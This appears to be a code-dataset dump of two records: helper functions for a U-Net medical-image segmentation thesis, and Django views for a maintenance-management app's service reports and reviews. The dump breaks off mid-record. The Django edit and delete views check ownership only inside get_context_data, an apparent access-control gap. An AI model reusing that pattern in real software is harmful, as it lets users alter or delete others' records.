index -- max slice index = 96\r\ndef show_img(array, patient_id, slice_index):\r\n global_index = patient_id*96 + slice_index\r\n plt.imshow(array[global_index,:,:], cmap='gray')\r\n\r\n\r\n\r\n\r\n# Dice score coefficient and loss function\r\ndef dice_coef(y_true, y_pred):\r\n y_true_f = K.flatten(y_true)\r\n y_pred_f = K.flatten(y_pred)\r\n intersection = K.sum(y_true_f * y_pred_f)\r\n sqsum_y_true = K.sum(K.square(y_true_f))\r\n sqsum_y_pred = K.sum(K.square(y_pred_f))\r\n \r\n return ((2 * intersection + 1e-5) / (sqsum_y_true + sqsum_y_pred + 1e-5))\r\n\r\ndef dice_coef_loss(y_true, y_pred):\r\n return (1 - dice_coef(y_true, y_pred))\r\n\r\n\r\n\r\n\r\n# Visualize model predictions\r\ndef display_preds(model, X, y, pt_id, slice_index):\r\n img_array, img_mask = get_cancer_slices([pt_id], X, y)\r\n \r\n fig, ax = plt.subplots(1, 2, figsize=(20, 10))\r\n ax[0].imshow(img_array[slice_index,:,:,0], cmap='gray')\r\n ax[0].contour(img_mask[slice_index,:,:,0], [.5], colors='red') \r\n ax[0].set_title('Original Image')\r\n\r\n ax[1].imshow(img_array[slice_index,:,:,0], cmap='gray')\r\n ax[1].contour(model.predict(img_array[slice_index:slice_index+1,:,:,:])[0,:,:,0], [.5], colors='red') \r\n ax[1].set_title('Cancer Predicted')\r\n\r\n\r\n\r\n\r\n# Plot training DSC values from a history dictionary\r\ndef plot_train_dsc(per_dic, name):\r\n colors = {0:'#1f77b4', 1:'#ff7f0e', 2:'#2ca02c', 3:'#d62728', 4:'#9467bd', 5:'#8c564b', 6:'#e377c2', 7:'#7f7f7f', 8:'#bcbd22', 9:'#17becf'} \r\n color_count = 0\r\n \r\n for key in per_dic:\r\n for metric in per_dic[key]:\r\n epochs = range(1, len(per_dic[key][metric]) + 1)\r\n if metric == 'dice_coef':\r\n plt.plot(epochs, per_dic[key][metric], 'b', label= str(key), color=colors[color_count])\r\n color_count += 1\r\n \r\n plt.rcParams[\"font.family\"] = \"Times New Roman\" \r\n plt.title('Training Dice Score Coefficient', fontdict={'fontsize':20})\r\n plt.xlabel('Epochs', fontdict={'fontsize':16})\r\n plt.ylabel('Dice Score Coefficient', fontdict={'fontsize':16})\r\n plt.legend(loc=4)\r\n plt.gcf().set_size_inches(18.5, 10.5)\r\n\r\n return plt.savefig(name)\r\n\r\n\r\n\r\n\r\n# Plot training precision values from a history dictionary\r\ndef plot_train_prec(per_dic, name):\r\n colors = {0:'#1f77b4', 1:'#ff7f0e', 2:'#2ca02c', 3:'#d62728', 4:'#9467bd', 5:'#8c564b', 6:'#e377c2', 7:'#7f7f7f', 8:'#bcbd22', 9:'#17becf'} \r\n color_count = 0\r\n \r\n for key in per_dic:\r\n for metric in per_dic[key]:\r\n epochs = range(1, len(per_dic[key][metric]) + 1)\r\n if metric[:4] == 'prec':\r\n plt.plot(epochs, per_dic[key][metric], 'b', label= str(key), color=colors[color_count])\r\n color_count += 1\r\n \r\n plt.rcParams[\"font.family\"] = \"Times New Roman\"\r\n plt.title('Training Precision', fontdict={'fontsize':20})\r\n plt.xlabel('Epochs', fontdict={'fontsize':16})\r\n plt.ylabel('Precision', fontdict={'fontsize':16})\r\n plt.legend(loc=4)\r\n plt.gcf().set_size_inches(18.5, 10.5)\r\n\r\n return plt.savefig(name)\r\n\r\n\r\n\r\n# Plot training recall values from a history dictionary\r\ndef plot_train_rec(per_dic, name):\r\n colors = {0:'#1f77b4', 1:'#ff7f0e', 2:'#2ca02c', 3:'#d62728', 4:'#9467bd', 5:'#8c564b', 6:'#e377c2', 7:'#7f7f7f', 8:'#bcbd22', 9:'#17becf'} \r\n color_count = 0\r\n \r\n for key in per_dic:\r\n for metric in per_dic[key]:\r\n epochs = range(1, len(per_dic[key][metric]) + 1)\r\n if metric[:6] == 'recall':\r\n plt.plot(epochs, per_dic[key][metric], 'b', label= str(key), color=colors[color_count])\r\n color_count += 1\r\n \r\n plt.rcParams[\"font.family\"] = \"Times New Roman\" \r\n plt.title('Training Recall', fontdict={'fontsize':20})\r\n plt.xlabel('Epochs', fontdict={'fontsize':16})\r\n plt.ylabel('Recall', fontdict={'fontsize':16})\r\n plt.legend(loc=4)\r\n plt.gcf().set_size_inches(18.5, 10.5)\r\n\r\n return plt.savefig(name)\r\n\r\n\r\n\r\n\r\n# Plot validation DSC values from a history dictionary\r\ndef plot_val_dsc(per_dic, name):\r\n colors = {0:'#1f77b4', 1:'#ff7f0e', 2:'#2ca02c', 3:'#d62728', 4:'#9467bd', 5:'#8c564b', 6:'#e377c2', 7:'#7f7f7f', 8:'#bcbd22', 9:'#17becf'} \r\n color_count = 0\r\n \r\n for key in per_dic:\r\n for metric in per_dic[key]:\r\n epochs = range(1, len(per_dic[key][metric]) + 1)\r\n if metric == 'val_dice_coef':\r\n plt.plot(epochs, per_dic[key][metric], 'b', label=str(key), color=colors[color_count])\r\n color_count += 1\r\n \r\n plt.rcParams[\"font.family\"] = \"Times New Roman\" \r\n plt.title('Validation Dice Score Coefficient', fontdict={'fontsize':20})\r\n plt.xlabel('Epochs', fontdict={'fontsize':16})\r\n plt.ylabel('Dice Score Coefficient', fontdict={'fontsize':16})\r\n plt.legend(loc=4)\r\n plt.gcf().set_size_inches(18.5, 10.5)\r\n \r\n return plt.savefig(name)\r\n\r\n\r\n\r\n\r\n# Plot validation precision values from a history dictionary\r\ndef plot_val_prec(per_dic, name):\r\n colors = {0:'#1f77b4', 1:'#ff7f0e', 2:'#2ca02c', 3:'#d62728', 4:'#9467bd', 5:'#8c564b', 6:'#e377c2', 7:'#7f7f7f', 8:'#bcbd22', 9:'#17becf'} \r\n color_count = 0\r\n \r\n for key in per_dic:\r\n for metric in per_dic[key]:\r\n epochs = range(1, len(per_dic[key][metric]) + 1)\r\n if metric[:8] == 'val_prec':\r\n plt.plot(epochs, per_dic[key][metric], 'b', label=str(key), color=colors[color_count])\r\n color_count += 1\r\n \r\n plt.rcParams[\"font.family\"] = \"Times New Roman\" \r\n plt.title('Validation Precision', fontdict={'fontsize':20})\r\n plt.xlabel('Epochs', fontdict={'fontsize':16})\r\n plt.ylabel('Precision', fontdict={'fontsize':16})\r\n plt.legend(loc=4)\r\n plt.gcf().set_size_inches(18.5, 10.5)\r\n \r\n return plt.savefig(name)\r\n\r\n\r\n\r\n\r\n# Plot validation recall values from a history dictionary\r\ndef plot_val_rec(per_dic, name):\r\n colors = {0:'#1f77b4', 1:'#ff7f0e', 2:'#2ca02c', 3:'#d62728', 4:'#9467bd', 5:'#8c564b', 6:'#e377c2', 7:'#7f7f7f', 8:'#bcbd22', 9:'#17becf'} \r\n color_count = 0\r\n \r\n for key in per_dic:\r\n for metric in per_dic[key]:\r\n epochs = range(1, len(per_dic[key][metric]) + 1)\r\n if metric[:7] == 'val_rec':\r\n plt.plot(epochs, per_dic[key][metric], 'b', label=str(key), color=colors[color_count])\r\n color_count += 1\r\n \r\n plt.rcParams[\"font.family\"] = \"Times New Roman\" \r\n plt.title('Validation Recall', fontdict={'fontsize':20})\r\n plt.xlabel('Epochs', fontdict={'fontsize':16})\r\n plt.ylabel('Recall', fontdict={'fontsize':16})\r\n plt.legend(loc=4)\r\n plt.gcf().set_size_inches(18.5, 10.5)\r\n \r\n return plt.savefig(name)\r\n\r\n\r\n\r\n\r\n# Train model with specified hyperparameters and store history and evaluation in dictionaries\r\ndef train_model(name1, name2, initializers, optimizer_, learning_rates, batch, eval_dictionary, total_history, X_train, X_val, X_test, y_train, y_val, y_test):\r\n hist_dic = {}\r\n \r\n for initializer_ in initializers:\r\n for lr in learning_rates:\r\n model = unet2d(initializer_)\r\n start = time()\r\n model.compile(optimizer=optimizer_(learning_rate=lr), loss=dice_coef_loss, metrics=[dice_coef, tf.keras.metrics.Precision(), tf.keras.metrics.Recall()])\r\n history = model.fit(X_train, y_train, batch_size=batch, validation_data=(X_val, y_val), epochs=100)\r\n elapsed = (time()-start)/60\r\n \r\n per_dic = {}\r\n \r\n hist_dic[str(initializer_) + name1 + str(lr)] = history.history \r\n total_history[str(initializer_) + name2 + str(lr)] = history.history\r\n score = model.evaluate(X_test, y_test, verbose=0, batch_size=32)\r\n \r\n per_dic['DSC'] = score[1] \r\n per_dic['Precision'] = score[2]\r\n per_dic['Recall'] = score[3] \r\n per_dic['Duration (min)'] = elapsed \r\n \r\n eval_dictionary[str(initializer_) + name2 + str(lr)] = per_dic \r\n \r\n return hist_dic, eval_dictionary, total_history\r\n", "repo_name": "zachtdouglas/thesis", "sub_path": "unet_functions.py", "file_name": "unet_functions.py", "file_ext": "py", "file_size_in_byte": 17190, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "SimpleITK.GetArrayFromImage", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 29, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 40, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 59, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 64, "usage_type": "call"}, {"api_name": "SimpleITK.ReadImage", "line_number": 68, "usage_type": "call"}, {"api_name": "SimpleITK.ReadImage", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 78, "usage_type": "call"}, {"api_name": "skimage.transform.resize", "line_number": 84, "usage_type": "call"}, {"api_name": "skimage.transform.resize", "line_number": 85, "usage_type": "call"}, {"api_name": "skimage.transform.resize", "line_number": 95, "usage_type": "call"}, {"api_name": "skimage.transform.resize", "line_number": 96, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 109, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 125, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 130, "usage_type": "call"}, {"api_name": "SimpleITK.ReadImage", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 142, "usage_type": "call"}, {"api_name": "skimage.transform.resize", "line_number": 147, "usage_type": "call"}, {"api_name": "skimage.transform.resize", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 167, "usage_type": "call"}, {"api_name": "numpy.random.default_rng", "line_number": 169, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 169, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 193, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 194, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 217, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 233, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 234, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 261, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 262, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 268, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 269, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 291, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 316, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 316, "usage_type": "name"}, {"api_name": "keras.backend.flatten", "line_number": 323, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 323, "usage_type": "name"}, {"api_name": "keras.backend.flatten", "line_number": 324, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 324, "usage_type": "name"}, {"api_name": "keras.backend.sum", "line_number": 325, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 325, "usage_type": "name"}, {"api_name": "keras.backend.sum", "line_number": 326, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 326, "usage_type": "name"}, {"api_name": "keras.backend.square", "line_number": 326, "usage_type": "call"}, {"api_name": "keras.backend.sum", "line_number": 327, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 327, "usage_type": "name"}, {"api_name": "keras.backend.square", "line_number": 327, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 341, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 341, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 362, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 362, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 365, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 365, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 366, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 366, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 367, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 367, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 368, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 368, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 369, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 369, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 370, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 370, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 372, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 372, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 386, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 386, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 389, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 389, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 390, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 390, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 391, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 391, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 392, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 392, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 393, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 393, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 394, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 394, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 396, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 396, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 409, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 409, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 412, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 412, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 413, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 413, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 414, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 414, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 415, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 415, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 416, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 416, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 417, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 417, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 419, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 419, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 433, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 433, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 436, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 436, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 437, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 437, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 438, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 438, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 439, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 439, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 440, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 440, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 441, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 441, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 443, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 443, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 457, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 457, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 460, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 460, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 461, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 461, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 462, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 462, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 463, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 463, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 464, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 464, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 465, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 465, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 467, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 467, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 481, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 481, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 484, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 484, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 485, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 485, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 486, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 486, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 487, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 487, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 488, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 488, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 489, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 489, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 491, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 491, "usage_type": "name"}, {"api_name": "unet2d_model.unet2d", "line_number": 502, "usage_type": "call"}, {"api_name": "time.time", "line_number": 503, "usage_type": "call"}, {"api_name": "tensorflow.keras.metrics.Precision", "line_number": 504, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 504, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.metrics.Recall", "line_number": 504, "usage_type": "call"}, {"api_name": "time.time", "line_number": 506, "usage_type": "call"}]} {"seq_id": "27250662378", "text": "from django.contrib.auth import mixins as auth_mixins\nfrom django.core.exceptions import PermissionDenied\nfrom django.shortcuts import get_object_or_404\nfrom django.urls import reverse_lazy\nfrom django.views import generic as views\n\nfrom maintenance_management.accounts.enums import GroupEnum\nfrom maintenance_management.accounts.mixins import GroupRequiredMixin\nfrom maintenance_management.clients.filters import initial_query_set_service_report_filter, ServiceReportFilter, \\\n first_and_last_name_filter_for_service_report\nfrom maintenance_management.clients.forms import RatingSelectionFilterForm\nfrom maintenance_management.clients.models import ServiceReport, Review\n\n\nclass CreateServiceReport(auth_mixins.LoginRequiredMixin, GroupRequiredMixin, views.CreateView):\n group_required = [GroupEnum.clients]\n template_name = 'clients/create_service_report.html'\n model = ServiceReport\n fields = [\"title\", \"description\", \"file\", \"report_type\"]\n success_url = reverse_lazy('show all reports')\n\n def form_valid(self, form):\n report = form.save(commit=False)\n report.user = self.request.user\n report.company = self.request.user.appuserprofile.company\n form.save()\n return super(CreateServiceReport, self).form_valid(form)\n\n\nclass EditServiceReport(auth_mixins.LoginRequiredMixin, GroupRequiredMixin, views.UpdateView):\n group_required = [GroupEnum.clients]\n template_name = 'clients/create_service_report.html'\n model = ServiceReport\n fields = [\"title\", \"description\", \"file\"]\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n if self.object:\n if self.request.user != self.object.user:\n raise PermissionDenied\n\n return context\n\n\nclass DeleteServiceReport(auth_mixins.LoginRequiredMixin, GroupRequiredMixin, views.DeleteView):\n group_required = [GroupEnum.clients]\n template_name = 'clients/delete_service_report.html'\n model = ServiceReport\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n if self.object:\n if self.request.user != self.object.user:\n raise PermissionDenied\n\n return context\n\n\nclass ShowAllReports(auth_mixins.LoginRequiredMixin, GroupRequiredMixin, views.ListView):\n \"\"\"\n Visualises service report information based on Roles\n\n Uses 'maintenance_management.common.context_processors.context_forms_and_common_queries' for extra context\n\n Filters for the user are available\n \"\"\"\n group_required = [GroupEnum.clients, GroupEnum.engineering, GroupEnum.supervisor]\n template_name = 'clients/show_all_service_reports.html'\n model = ServiceReport\n ordering = [\"-last_updated\"]\n filter_set = None\n\n _DEFAULT_PAGINATE_BY = 5\n\n def get_queryset(self, **kwargs):\n queryset = super().get_queryset()\n queryset = initial_query_set_service_report_filter(self.request, queryset)\n building = self.request.GET.get(\"building\", \"\")\n name = self.request.GET.get(\"name\", \"\")\n if building:\n queryset = queryset.filter(\n company__additionaladdressinformation__building=building\n )\n if name:\n queryset = first_and_last_name_filter_for_service_report(name, queryset)\n self.filter_set = ServiceReportFilter(self.request.GET, queryset)\n return self.filter_set.qs\n\n def get_paginate_by(self, queryset):\n paginator = self.request.GET.get(\"paginator\", None)\n if not paginator:\n return ShowAllReports._DEFAULT_PAGINATE_BY\n return paginator\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context.update(\n {\n \"service_report_filter_form\": self.filter_set.form,\n }\n )\n return context\n\n\nclass ShowReportDetails(auth_mixins.LoginRequiredMixin, GroupRequiredMixin, views.DetailView):\n group_required = [GroupEnum.clients, GroupEnum.contractors, GroupEnum.engineering, GroupEnum.supervisor]\n template_name = 'clients/service_report_details.html'\n model = ServiceReport\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n if self.object:\n if self.request.user.groups.name == str(GroupEnum.engineering.value) \\\n and (self.object.report_type == ServiceReport.ReportType.OTHER\n or self.object.report_type == self.request.user.appuserprofile.expertise):\n pass\n elif self.request.user.appuserprofile.company == self.object.user.appuserprofile.company:\n pass\n elif self.request.user != self.object.user \\\n and self.request.user != self.object.assigned_to \\\n and self.request.user.groups.name != str(GroupEnum.supervisor.value):\n raise PermissionDenied\n\n return context\n\n\nclass ShowAllReviews(views.ListView):\n \"\"\"\n Uses 'maintenance_management.common.context_processors.context_forms_and_common_queries' for paginator_form\n \"\"\"\n\n template_name = 'clients/show_all_reviews.html'\n ordering = [\"-submitted\"]\n model = Review\n\n _DEFAULT_PAGINATE_BY = 6\n\n def get_queryset(self):\n queryset = super().get_queryset()\n rating_filter = self.request.GET.get(\"rating_filter\", \"0\")\n if rating_filter != \"0\":\n queryset = queryset.filter(rating=rating_filter)\n return queryset\n\n def get_paginate_by(self, queryset):\n paginator = self.request.GET.get(\"paginator\", None)\n if not paginator:\n return ShowAllReviews._DEFAULT_PAGINATE_BY\n return paginator\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context.update(\n {\n \"rating_filter_form\": RatingSelectionFilterForm(self.request.GET),\n \"range\": range(1, 5 + 1),\n }\n )\n return context\n\n\nclass CreateReview(auth_mixins.LoginRequiredMixin, GroupRequiredMixin, views.CreateView):\n group_required = [GroupEnum.clients]\n template_name = 'clients/create_review.html'\n model = Review\n fields = [\"rating\", \"comment\"]\n success_url = reverse_lazy('show all reviews')\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n service_report = get_object_or_404(ServiceReport, pk=self.kwargs['pk'])\n context.update({\n \"service_report\": service_report\n })\n return context\n\n def form_valid(self, form):\n review = form.save(commit=False)\n service_report = get_object_or_404(ServiceReport, pk=self.kwargs['pk'])\n review.user = self.request.user\n review.service_report = service_report\n form.save()\n return super(CreateReview, self).form_valid(form)\n\n\nclass ShowReviewDetails(views.DetailView):\n template_name = 'clients/review_details.html'\n model = Review\n\n\nclass EditReview(auth_mixins.LoginRequiredMixin, GroupRequiredMixin, views.UpdateView):\n group_required = [GroupEnum.clients]\n template_name = 'clients/create_review.html'\n model = Review\n fields = [\"rating\", \"comment\"]\n success_url = reverse_lazy('show all reviews')\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n if self.object:\n if self.request.user != self.object.user:\n raise PermissionDenied\n\n return context\n\n\nclass DeleteReview(auth_mixins.LoginRequiredMixin, GroupRequiredMixin, views.DeleteView):\n group_required = [GroupEnum.clients]\n template_name = 'clients/delete_review.html'\n model = Review\n success_url = reverse_lazy('show all reviews')\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n if self.object:\n if self.request.user != self.object.user:\n raise PermissionDenied\n\n return context\n", "repo_name": "Moramarth/Maintenance-Management", "sub_path": "maintenance_management/clients/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 8078, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 15, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.mixins.GroupRequiredMixin", "line_number": 15, "usage_type": "name"}, {"api_name": "django.views.generic.CreateView", "line_number": 15, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 15, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum.clients", "line_number": 16, "usage_type": "attribute"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum", "line_number": 16, "usage_type": "name"}, {"api_name": "maintenance_management.clients.models.ServiceReport", "line_number": 18, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 20, "usage_type": "call"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 30, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 30, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.mixins.GroupRequiredMixin", "line_number": 30, "usage_type": "name"}, {"api_name": "django.views.generic.UpdateView", "line_number": 30, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 30, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum.clients", "line_number": 31, "usage_type": "attribute"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum", "line_number": 31, "usage_type": "name"}, {"api_name": "maintenance_management.clients.models.ServiceReport", "line_number": 33, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 40, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 45, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.mixins", "line_number": 45, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.mixins.GroupRequiredMixin", "line_number": 45, "usage_type": "name"}, {"api_name": "django.views.generic.DeleteView", "line_number": 45, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 45, "usage_type": "name"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum.clients", "line_number": 46, "usage_type": "attribute"}, {"api_name": "maintenance_management.accounts.enums.GroupEnum", "line_number": 46, "usage_type": "name"}, {"api_name": "maintenance_management.clients.models.ServiceReport", "line_number": 48, "usage_type": "name"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 54, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 59, "usage_type": "attribute"}, 